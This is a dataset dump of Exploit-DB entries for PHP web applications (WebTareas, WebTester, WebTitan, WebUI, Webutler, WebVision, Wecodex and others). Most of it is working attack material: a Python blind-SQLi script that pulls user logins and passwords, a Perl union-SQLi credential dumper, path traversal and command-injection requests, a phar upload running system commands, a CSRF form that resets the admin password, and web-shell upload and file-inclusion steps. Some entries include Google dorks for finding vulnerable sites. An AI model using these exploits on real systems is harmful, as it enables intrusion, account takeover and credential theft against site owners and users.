deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50893
Description: WebTareas 2.4 - Blind SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2022-05-11
Author: Behrad Taher

Exploit:
# Exploit Title: WebTareas 2.4 - Blind SQLi (Authenticated)
# Date: 04/20/2022
# Exploit Author: Behrad Taher
# Vendor Homepage: https://sourceforge.net/projects/webtareas/
# Version: < 2.4p3
# CVE : CVE-2021-43481

#The script takes 3 arguments: IP, user ID, session ID
#Example usage: python3 webtareas_sqli.py 127.0.0.1 1 4au5376dddr2n2tnqedqara89i

import requests, time, sys
from bs4 import BeautifulSoup
ip = sys.argv[1]
id = sys.argv[2]
sid = sys.argv[3]

def sqli(column):
    print("Extracting %s from user with ID: %s\n" % (column,id))
    extract = ""
    for i in range (1,33):
        #This conditional statement will account for variable length usernames
        if(len(extract) < i-1):
            break
        for j in range(32,127):
            injection = "SELECT 1 and IF(ascii(substring((SELECT %s FROM gW8members WHERE id=1),%d,1))=%d,sleep(5),0);" % (column,i,j)
            url = "http://%s/approvals/editapprovaltemplate.php?id=1" % ip
            GET_cookies = {"webTareasSID": "%s" % sid}
            r = requests.get(url, cookies=GET_cookies)
            #Because the app has CSRF protection enabled we need to send a get request each time and parse out the CSRF Token"
            token = BeautifulSoup(r.text,features="html.parser").find('input', {'name':'csrfToken'})['value']
            #Because this is an authenticated vulnerability we need to provide a valid session token
            POST_cookies = {"webTareasSID": "%s" % sid}
            POST_data = {"csrfToken": "%s" % token, "action": "update", "cd": "Q", "uq": "%s" % injection}
            start = time.time()
            requests.post(url, cookies=POST_cookies, data=POST_data)
            end = time.time() - start
            if end > 5:
                extract += chr(j)
                print ("\033[A\033[A")
                print(extract)
                break
#Modularized the script for login and password values
sqli("login")
sqli("password")
Exploit-DB #48312
Description: Webtateas 2.0 - Arbitrary File Read
Type: webapps
Platform: php
Date: 2020-04-13
Author: China Banking and Insurance Information Technology Management Co.

Exploit:
# Exploit Title: Webtateas 2.0 - Arbitrary File Read
# Date: 2020-04-12
# Exploit Author: China Banking and Insurance Information Technology Management Co.,Ltd.
# Vendor Homepage: http://webtareas.sourceforge.net/general/home.php
# Software Link: http://webtareas.sourceforge.net/general/home.php
# Version: Webtateas v2.0
# Tested on: Windows
# CVE : N/A

Vulnerable Request:
POST /webtareas/includes/general_serv.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 72
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/webtareas/general/home.php?
Cookie: webTareasSID=k2vicb6pn9gsajncg3l6ltbver
DNT: 1

action=cardview-actions&prefix=..%2F&extpath=../../../../Windows/win.ini
Exploit-DB #29602
Description: WebTester 5.0.20060927 - 'typeID' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-14
Author: Moran Zavdi

Exploit:
source: https://www.securityfocus.com/bid/22559/info

WebTester is prone to multiple input-validation issues, including multiple cross-site scripting and multiple SQL-injection issues, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

WebTester 5.0.20060927 and prior versions are vulnerable. 

http://www.example.com/webtester/directions.php?testID=\'
Exploit-DB #28995
Description: WebTester 5.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-10-16
Author: X-Cisadane

Exploit:
========================================================================================== 
WebTester 5.x Multiple Vulnerabilities 
========================================================================================== 

:----------------------------------------------------------------------------------------------------------------------------------------: 
: # Exploit Title : WebTester 5.x Multiple Vulnerabilities  
: # Date : 15 October 2013 
: # Author : X-Cisadane 
: # CMS Developer : http://epplersoft.com/webtester.html 
: # CMS Source Code : http://sourceforge.net/projects/webtesteronline/ 
: # Version : ALL 
: # Category : Web Applications 
: # Vulnerability : SQL Injection, Arbitrary File Upload, PHPInfo() Disclosure, Leftover install.php File
: # Tested On : Google Chrome Version 26.0.1410.64 m (Windows XP SP 3 32-Bit English) 
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber, Winda Utari 
:----------------------------------------------------------------------------------------------------------------------------------------: 

DORKS (How to find the target) : 
================================ 
intext:Copyright © 2003 - 2010 Eppler Software 
inurl:/go.php?testID= 
intitle:WebTester Online Testing 
Or use your own Google Dorks :) 

Proof of Concept  
================  

[ 1 ] SQL Injection 
POC : http://[Site]/[Path]/startTest.php?FirstName=a&LastName=a&TestID=['SQLi] 
 

[ 2 ] Arbitrary File Upload through TinyMCE (plugins/filemanager)  
Webster 5.x has a built-in WYSIWYG Editor, that is TinyMCE. The attacker can upload file through the TinyMCE File Manager. 
It can be found in tiny_mce/plugins/filemanager. 

Poc : http://[Site]/[Path]/tiny_mce/plugins/filemanager/InsertFile/insert_file.php 
Example the target is http://server/ 
Change the url to http://server/tiny_mce/plugins/filemanager/InsertFile/insert_file.php 
Pic #1 : http://i40.tinypic.com/117z390.png 
Then tick : Insert filetype icon, Insert file size & Insert file modification date. 
Click upload and wait until the file sent to the server. 
Pic #2 : http://i39.tinypic.com/2wluaon.png 
Pic #3 : http://i40.tinypic.com/2uh0fir.png 
If the file was successfully uploaded, check in the /test-images/ directory. 


[ 3 ] PHPInfo() Disclosure 
POC : http://[Site]/[Path]/phpinfo.php 


[ 4 ] Leftover install.php File 
POC : http://[Site]/[Path]/install.php


Bonus : Default Username and Password 
Username : admin 
Password : admin 
Admin Control Panel : http://[Site]/[Path]/admin/
Exploit-DB #12467
Description: Webthaiapp - 'detail.php?cat' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: Xelenonz

Exploit:
--==+==================================================+==--

--==+             Webthaiapp detail.php(cat) Blind Sql injection Vulnerability                +==--

--==+==================================================+==--

Date : 30-04-2010

-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

AUTHOR: Xelenonz

Homepage : www.thaishadow.com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=

Application : Webthaiapp

Vendor      : http://www.Webthaiapp.com/

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

DORK (google): "inurl:catalog/product/detail.php?cat="

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

DESCRIPTION:

EXPLOITS:

detail.php?cat=[valid catid]+and+1=1   << TRUE

detail.php?cat=[valid catid]+and+1=2  << False

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Example

http://server/catalog/product/detail.php?cat=44+and+1=1  
<< True

http://server/catalog/product/detail.php?cat=44+and+1=2 
<< False

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Special Thx : Krit admin@thaishadow,Thaishadow.com

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit-DB #37943
Description: WebTitan - 'logs-x.php' Directory Traversal
Type: webapps
Platform: php
Date: 2012-10-20
Author: Richard Conner

Exploit:
source: https://www.securityfocus.com/bid/55904/info

WebTitan is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

A remote attacker could exploit the vulnerability using directory-traversal characters ('../') to access arbitrary files containing sensitive information that could aid in further attacks.

WebTitan Versions prior to 3.60 are vulnerable. 

http://www.example.com//logs-x.php? jaction=view&fname=../../../../../etc/passwd
Exploit-DB #36821
Description: WebUI 1.5b6 - Remote Code Execution
Type: webapps
Platform: php
Date: 2015-04-23
Author: TUNISIAN CYBER

Exploit:
#[+] Author: TUNISIAN CYBER
#[+] Title:  WebUI Remote Code Execution Vulnerability
#[+] Date: 21-04-2015
#[+] Vendor: https://github.com/baram01/webui/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R
#[+] Proof of concept: http://i.imgur.com/co9Qx0n.png
-------------------------------------------------------------------------------
p0c:

http://site/webui/mainfile.php?username=USER&[CREDENTIAL_REDACTED]_login=1&Logon=';echo system('command');'

Live HTTP Header:
http://192.168.186.129/webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27

GET /webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27 HTTP/1.1
Host: 192.168.186.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 22 Apr 2015 13:20:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u2
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 51
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Exploit-DB #39707
Description: Webutler CMS 3.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-04-18
Author: Keerati T.

Exploit:
Dear OffSec,

Here is the vulnerability detail as I submitted

*# Exploit Title: Webutler CMS Cross-Site Request Forgery*
*# Date: 18 April 2016*
*# Exploit Author: Keerati T. (Post)*
*# Vendor Homepage: http://webutler.de/en <http://webutler.de/en>*
*# Software Link: http://webutler.de/download/webutler_v3.2.zip
<http://webutler.de/download/webutler_v3.2.zip>*
*# Version: 3.2*
*# Tested on: Linux*

*1.Description*
The Webutler is a simple online page editor for static HTML files.
Webmasters can provide a simple login option for image and text editing to
their customers. The Webutler is a tool for websites or projects to be
implemented with a small effort. The project has grown over the years and
now you can do a lot of things with it.
The all of administrative function allow any users to perform HTTP request
without verify the request. This exploit can be performed while the logged
on user (administrator) visit malicious web page that embedded HTML form.


*2. Proof of Concept*
Only change password function PoC, But other function (add page, delete
page, etc..) can be exploited.

<html>
  <body>
    <form action="http://10.0.0.102/webutler/admin/system/save.php"
method="POST">
      <input type="hidden" name="saveuser" value="1" />
      <!-- administrator user name is "root" -->
      <input type="hidden" name="username" value="root" />
      <input type="hidden" name="userpass1" value="111111" />
      <input type="hidden" name="userpass2" value="111111" />
      <input type="hidden" name="userlang" value="en" />
    </form>
  </body>
  <script>document.forms[0].submit();</script>
</html>


*3. Timeline*
11 Apr 2016 - Vulnerability discover.
11 Apr 2016 - No main contact available on vendor web page. Ask related
contact that shown on vendor web page instead.
18 Apr 2016 - No response from related contact and vulnerability disclosed.
Exploit-DB #51660
Description: Webutler v3.2 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-08-04
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Webutler v3.2 - Remote Code Execution (RCE)
Application: webutler Cms
Version: v3.2
Bugs:  RCE
Technology: PHP
Vendor URL: https://webutler.de/en
Software Link: http://webutler.de/download/webutler_v3.2.zip
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account as admin
2. go to visit media 
3.upload phar file
4. upload poc.phar file

poc.phar file contents :
<?php echo system("cat /etc/passwd");?>
5. Visit to poc.phar file
poc request:

POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1
Host: localhost
Content-Length: 40
sec-ch-ua: 
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
X_FILENAME: poc.phar
sec-ch-ua-platform: ""
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/webutler_v3.2/admin/browser/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropolu
Connection: close

<?php echo system("cat /etc/passwd");?>
Exploit-DB #9193
Description: WebVision 2.1 - 'news.php?n' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-17
Author: Mr.tro0oqy

Exploit:
#!/usr/bin/perl -w
# WebVision 2.1 (n) Remote SQL Injection Exploit
# Demo : http://www.webdev4all.nl/demowebsite/
# Dork : Webdevelopment Tinx-IT
# Dork2: Copyright Â© 2006-2008 Tinx-IT 
# and open your mind
# admin panel : www.target.com/path/cms
# Found by : Mr.tro0oqy <Yemeni ana>
# E-mail : t.4@windowslive.com
# special thank for my teacher "Stack"
########################################
system("color e");
print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n";
print "\t\t0 WebVision 2.1 (n) Remote SQL Injection Exploit 0\n\n";
print "\t\t0 by Mr.tro0oqy 0\n\n";
print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n";
use LWP::UserAgent;
die "Example: perl $0 http://target.com/path \n" unless @ARGV;
$user="name";
$pass="password";
$tab="users";
$b = LWP::UserAgent->new() or die "error\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/news.php?n=-1+union+select+1,2,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),4,5,6,7,8,9,10,11,12,13+from+".$tab."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
  print "\ loading .....\n";
  print "\n[+] Admin User : $1";
}
if ($answer =~/<pass>(.*?)<pass>/)
{
print "\n[+] Admin Hash : $1\n\n";
print "\t\t# %100 #\n\n";}

else
{
print "\n[-] Exploit Failed...\n";
}

# milw0rm.com [2009-07-17]
Exploit-DB #6015
Description: WebXell Editor 0.1.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-07-07
Author: CWH Underground

Exploit:
===========================================================================
  WebXell Editor (upload_pictures.php) Arbitrary File Upload Vulnerability
===========================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 7 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : WebXell Editor
 VERSION     : 0.1.3
 VENDOR	     : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/webxelleditor/webXell-0.1.3.zip
#####################################################

--- Arbitrary File Upload ---

	This Vulnerability can upload malicious files direct to web server.
Use Web proxy (Webscarab,etc..) to intercept data.

[+] Upload Path: http://[Target]/[webxell_path]/upload_pictures.php

 [-] POC Exploit:

POST http://192.168.24.25/webxell/upload_pictures.php HTTP/1.1
Host: 192.168.24.25
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.24.25/webxell/index.php?file=test.xml
Cookie: storyread[1]=1; PHPSESSID=a663694e586aba414a1b9fb79917891f
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]18669
Content-length: 241

----------------------------[PII_REDACTED]18669
Content-Disposition: form-data; name="updFile"; filename="phpbug.php"
Content-Type: img/jpeg

<?php
EVIL SHELL SCRIPT
?>
----------------------------[PII_REDACTED]18669--


[+] Shell Script: ***You can intercept file's name with Web proxy that tell the real name***

 [-] Position: http://[target]/[webxell_path]/upload/[Evil_File]


##################################################################
  Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  
##################################################################

# milw0rm.com [2008-07-07]
Exploit-DB #12674
Description: webYourPhotos 6.05 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-20
Author: Sn!pEr.S!Te Hacker

Exploit:
 
# ----------------------oOO---(_)---OOo----------------------- 
# | __ __ |   
# | _____/ /_____ ______/ /_ __ ______ ______ |   
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |   
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |   
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |   
# | Security Sn!pEr.S!Te /____/ 2o1o |   
# ------------------------------------------------------------ 
     Remote File Inclusion Vulnerability
# ----------------------------------------------------------- 
---------------------------------------------------------------- 
webYourPhotos <==6.05  ( index.php ) 
  
----------------------------------------------------------------
#[+] Author : Sn!pEr.S!Te Hacker #  
# [+] Email : sniper-site@HoTMaiL.coM #  
# [+] T34M Sn!pEr.S!Te Hacker #  
# [+] 20-5-2010 # 
# [+] Script : Image Galleries » webYourPhotos 
# [+] Download:http://superphotos.info/webYourPhotos_mysql.zip
# Version: [6.05] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : webYourPhotos_mysql\index.php

http://localhost\webYourPhotos_mysql\index.php?template=[shell.txt ]

htpp://127.0.0.1\webYourPhotos_mysql\index.php?template=[shell.txt ]

include("templates/template_index_".$template.".php");

line : 311 

web site Favorites my : http://inj3ct0r.com/  & http://www.hack0wn.com/ & http://www.exploit-db.com

================================   Greetz : all my friend   ========================================
 * liar * sm Hacker * baby hacker * Dr.PaL x HaCkEr * saleh Hacker * ALhal alsab |
 * ThE DarK * abo badr * aStoorh alqssim * Ramad Hacker * h-ex |
 * yousfe * HitLer.3rb * QAHER ALRAFDE * DjHacker * My Heart * Mr.koka |
Exploit-DB #44729
Description: Wecodex Hotel CMS 1.0 - 'Admin Login' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: Wecodex Hotel CMS 1.0 - 'Admin Login' SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/hotel-management-system-in-php-and-mysql/7
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target/demos/hotel/admin/

https://Target/demos/hotel/admin/index.php?action=processlogin

POST /demos/hotel/admin/index.php?action=processlogin HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/hotel/admin/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&[CREDENTIAL_REDACTED]


# Vulnerable Payload :
# Parameter: email (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload: 

username=admin" RLIKE (SELECT (CASE WHEN (7084=7084) THEN
0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND
"eloY"="eloY&[CREDENTIAL_REDACTED]

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload: 

username=admin" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND
"vZea"="vZea&[CREDENTIAL_REDACTED]
Exploit-DB #44730
Description: Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/restaurant-system-in-php-and-mysql/6
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target/demos/restaurant/admin/

https://Target/demos/restaurant/admin/index.php?action=processlogin

POST /demos/restaurant/admin/index.php?action=processlogin HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/restaurant/admin/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&[CREDENTIAL_REDACTED]


# Vulnerable Payload :
# Parameter: email (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload: 

username=admin" RLIKE (SELECT (CASE WHEN (7084=7084) THEN
0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND
"eloY"="eloY&[CREDENTIAL_REDACTED]

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload: 

username=admin" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND
"vZea"="vZea&[CREDENTIAL_REDACTED]